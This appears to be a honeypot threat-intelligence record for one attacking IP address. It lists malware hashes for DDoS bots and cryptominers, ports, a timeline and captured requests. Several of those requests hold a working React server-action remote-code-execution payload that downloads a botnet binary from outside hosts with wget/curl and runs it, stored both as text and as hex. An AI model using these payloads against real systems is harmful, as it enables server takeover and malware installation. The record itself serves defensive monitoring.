{"ip":"94.154.43.249","total_events":70,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"66 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["66 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range.","Sent 108,090 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"108,090 bytes sent","bytes_sent":108090,"session_seconds":0,"persistent":false}},"first_seen":"2026-08-01T17:45:23","last_seen":"2026-08-15T21:06:50","events_24h":3,"events_7d":40,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":219502,"org":"Storm Industries LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"c77e845feedc323ea12c20ae1859ec06e5959b37d06225bf878f2d7f0e82e66e","family":"ddos","vt_name":"systemd-boot","malicious":14,"total":75,"vt_status":"known","delivery":"curl","url_path":"/","dest_port":3001,"hits":9,"last_seen":"2026-08-15 21:06:50"},{"sha256":"fda7f506ffa616c4b2cb6b8c76a53322fc5ff0b24d084fc7665e5855dea8a4d5","family":"ddos","vt_name":"gg11","malicious":4,"total":75,"vt_status":"known","delivery":"curl","url_path":"/","dest_port":3000,"hits":3,"last_seen":"2026-08-05 05:30:17"},{"sha256":"b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49","family":"xmrig","vt_name":"xmrig_x64","malicious":38,"total":74,"vt_status":"known","delivery":"wget","url_path":"/","dest_port":3000,"hits":3,"last_seen":"2026-08-01 17:45:23"},{"sha256":"2018a012f34bde9a99f020af92575c4242ae5aa6626771e44f2f404cb99f8ca9","family":"","vt_name":"xmr_miner_x64","malicious":1,"total":75,"vt_status":"uploaded","delivery":"wget","url_path":"/","dest_port":3000,"hits":3,"last_seen":"2026-08-01 17:45:23"}],"top_ports":[{"port":3000,"proto":"tcp","label":"Web-alt","count":29},{"port":3001,"proto":"tcp","label":"","count":26},{"port":4001,"proto":"tcp","label":"","count":8},{"port":3128,"proto":"tcp","label":"HTTP-proxy","count":4},{"port":5000,"proto":"tcp","label":"Web-alt","count":3}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":["po11nn0800_5055f782ab33"]},"fingerprint_peers":{"po11nn0800_5055f782ab33":4},"user_agents":["Mozilla/5.0"],"timeline":[{"date":"2026-08-01","count":4},{"date":"2026-08-02","count":3},{"date":"2026-08-04","count":2},{"date":"2026-08-05","count":6},{"date":"2026-08-06","count":10},{"date":"2026-08-07","count":1},{"date":"2026-08-08","count":4},{"date":"2026-08-09","count":1},{"date":"2026-08-10","count":4},{"date":"2026-08-12","count":17},{"date":"2026-08-13","count":11},{"date":"2026-08-14","count":4},{"date":"2026-08-15","count":3}],"recent_events":[{"timestamp":"2026-08-15T21:06:50","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1380\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .b; (wget -q --no-check-certificate -O .b http://191.44.112.89:889/gg11 || curl -k -s -o .b http://191.44.112.89:889/gg11) \\u0026\\u0026 chmod +x .b \\u0026\\u0026 ./.b 94.154.43.249 2327\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313338300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e623b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6220687474703a2f2f3139312e34342e3131322e38393a3838392f67673131207c7c206375726c202d6b202d73202d6f202e6220687474703a2f2f3139312e34342e3131322e38393a3838392f6767313129205c75303032365c75303032362063686d6f64202b78202e62205c75303032365c7530303236202e2f2e622039342e3135342e34332e32343920323332375c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"18490085-f2e8-44ef-b589-db59d02293f6","seq":1,"duration_ms":100,"bytes_in":1618,"bytes_out":78},{"timestamp":"2026-08-15T19:13:08","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1380\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .b; (wget -q --no-check-certificate -O .b http://191.44.112.89:889/gg11 || curl -k -s -o .b http://191.44.112.89:889/gg11) \\u0026\\u0026 chmod +x .b \\u0026\\u0026 ./.b 94.154.43.249 2327\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313338300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e623b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6220687474703a2f2f3139312e34342e3131322e38393a3838392f67673131207c7c206375726c202d6b202d73202d6f202e6220687474703a2f2f3139312e34342e3131322e38393a3838392f6767313129205c75303032365c75303032362063686d6f64202b78202e62205c75303032365c7530303236202e2f2e622039342e3135342e34332e32343920323332375c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"ad9d128c-e080-4ac0-86e5-4a93ae7be797","seq":1,"duration_ms":100,"bytes_in":1619,"bytes_out":78},{"timestamp":"2026-08-15T18:01:59","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1380\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .b; (wget -q --no-check-certificate -O .b http://191.44.112.89:889/gg11 || curl -k -s -o .b http://191.44.112.89:889/gg11) \\u0026\\u0026 chmod +x .b \\u0026\\u0026 ./.b 94.154.43.249 2327\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313338300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e623b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6220687474703a2f2f3139312e34342e3131322e38393a3838392f67673131207c7c206375726c202d6b202d73202d6f202e6220687474703a2f2f3139312e34342e3131322e38393a3838392f6767313129205c75303032365c75303032362063686d6f64202b78202e62205c75303032365c7530303236202e2f2e622039342e3135342e34332e32343920323332375c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"2408aa56-a4ae-4cfe-9bba-54072981c7a8","seq":1,"duration_ms":100,"bytes_in":1618,"bytes_out":78},{"timestamp":"2026-08-14T03:45:17","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1390\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .b; (wget -q --no-check-certificate -O .b http://waf.proxytunnel.co:889/gg11 || curl -k -s -o .b http://waf.proxytunnel.co:889/gg11) \\u0026\\u0026 chmod +x .b \\u0026\\u0026 ./.b 94.154.43.249 2327\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313339300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e623b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6220687474703a2f2f7761662e70726f787974756e6e656c2e636f3a3838392f67673131207c7c206375726c202d6b202d73202d6f202e6220687474703a2f2f7761662e70726f787974756e6e656c2e636f3a3838392f6767313129205c75303032365c75303032362063686d6f64202b78202e62205c75303032365c7530303236202e2f2e622039342e3135342e34332e32343920323332375c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"460903f5-03b6-4df0-ab14-9bf496b116f4","seq":1,"duration_ms":101,"bytes_in":1629,"bytes_out":78},{"timestamp":"2026-08-14T00:36:53","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1382\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .b; (wget -q --no-check-certificate -O .b http://150.241.65.212:889/gg11 || curl -k -s -o .b http://150.241.65.212:889/gg11) \\u0026\\u0026 chmod +x .b \\u0026\\u0026 ./.b 94.154.43.249 2327\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313338320d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685